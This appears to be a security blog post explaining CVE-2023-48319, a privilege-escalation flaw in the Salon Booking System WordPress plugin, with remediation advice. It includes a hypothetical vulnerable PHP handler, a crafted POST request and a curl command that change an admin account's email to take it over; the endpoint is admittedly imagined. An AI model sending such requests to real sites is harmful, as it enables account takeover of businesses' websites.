A serious security issue, CVE-2023-48319, affects the popular Salon Booking System software (versions up to 8.6). This vulnerability is classified as Improper Privilege Management — meaning attackers can gain more privileges than they should, potentially allowing them to act as administrators or access sensitive information. In this post, we will explain how this vulnerability works, show you a code explainer, walk through a possible exploitation scenario, and offer guidance on protecting your system.

What Is Salon Booking System?

Salon Booking System is a widely-used WordPress plugin. It allows salons to take bookings online, manage appointments, and more. Due to its popularity, vulnerabilities can put many businesses at risk.

CVE-2023-48319: The Issue in Plain English

Improper Privilege Management means the software does not properly handle who can do what within the system. If a regular user (like a customer) can trick the site into thinking they are an admin, they could change business-critical settings, see other customer data, or even gain total control.

This vulnerability affects all versions of Salon Booking System up to and including 8.6.

- NVD Entry - CVE-2023-48319
- WPScan Entry
- Plugin page

How the Privilege Escalation Happens

Attackers can exploit weak permission checks. Some Salon Booking System actions (like updating user info) are supposed to be reserved for trusted staff or admins, but versions up to 8.6 do not properly verify who is making the request.

Imagine if there’s an endpoint like /wp-admin/admin-ajax.php?action=update_booking_staff that does not verify whether the user is actually a staff member — just that they're logged in.

Suppose in the Salon Booking System code there’s a function like this (simplified for clarity)

// In a plugin PHP file
add_action('wp_ajax_update_booking_staff', 'update_staff_info_func');

function update_staff_info_func() {
    // Missing: check if current user can edit staff!
    $staff_id = $_POST['staff_id'];
    $new_email = $_POST['email'];

    // Directly update staff info
    wp_update_user([
        'ID' => $staff_id,
        'user_email' => $new_email
    ]);
    echo 'Staff updated!';
    wp_die();
}

What’s wrong here:
There’s no check for current_user_can('manage_salon_staff') or similar. Any logged-in user (even a customer) can POST to this endpoint and modify staff accounts — possibly promoting themselves to staff or admin, or even changing critical staff account details.

They craft a POST request:

POST /wp-admin/admin-ajax.php?action=update_booking_staff HTTP/1.1
Host: target-salon.com
Cookie: wordpress_logged_in_xxxxx
Content-Type: application/x-www-form-urlencoded

staff_id=2&email=hacker@example.com

3. If user ID 2 is an admin or staff, the email gets updated. Now, the attacker can reset the password for that staff/admin user, take over the account, and have full salon admin privileges.

You can automate this attack with a simple curl command (assuming you have a valid session)

curl -X POST https://target-salon.com/wp-admin/admin-ajax.php \
 -d "action=update_booking_staff&staff_id=2&email=hacker@evil.com" \
 -H "Cookie: wordpress_logged_in_xxxxx"

Patch & Remediation

In version 8.7 and above, Salon Booking System now properly checks permissions before allowing staff account changes:

function update_staff_info_func() {
    if (!current_user_can('manage_salon_staff')) {
        wp_die('You do not have permission!', 403);
    }
    // ... safe update code
}

Upgrade Immediately:

If you use Salon Booking System, update to version 8.7 or later now.

Review User Accounts:

Check for suspicious accounts or changes to admin/staff users.

Implement WAF or Security Plugins:

Use a firewall like Wordfence or Sucuri for extra protection.

Conclusion

CVE-2023-48319 is a critical vulnerability that lets any logged-in user potentially take over a Salon Booking System-powered website running version 8.6 or below. The fix is straightforward: always properly check user permissions before allowing sensitive operations.

Stay safe:

References

- NVD Entry - CVE-2023-48319
- WPScan CVE entry
- Plugin download & changelog

Timeline

Published on: 05/17/2024 09:15:13 UTC
Last modified on: 06/04/2024 17:27:31 UTC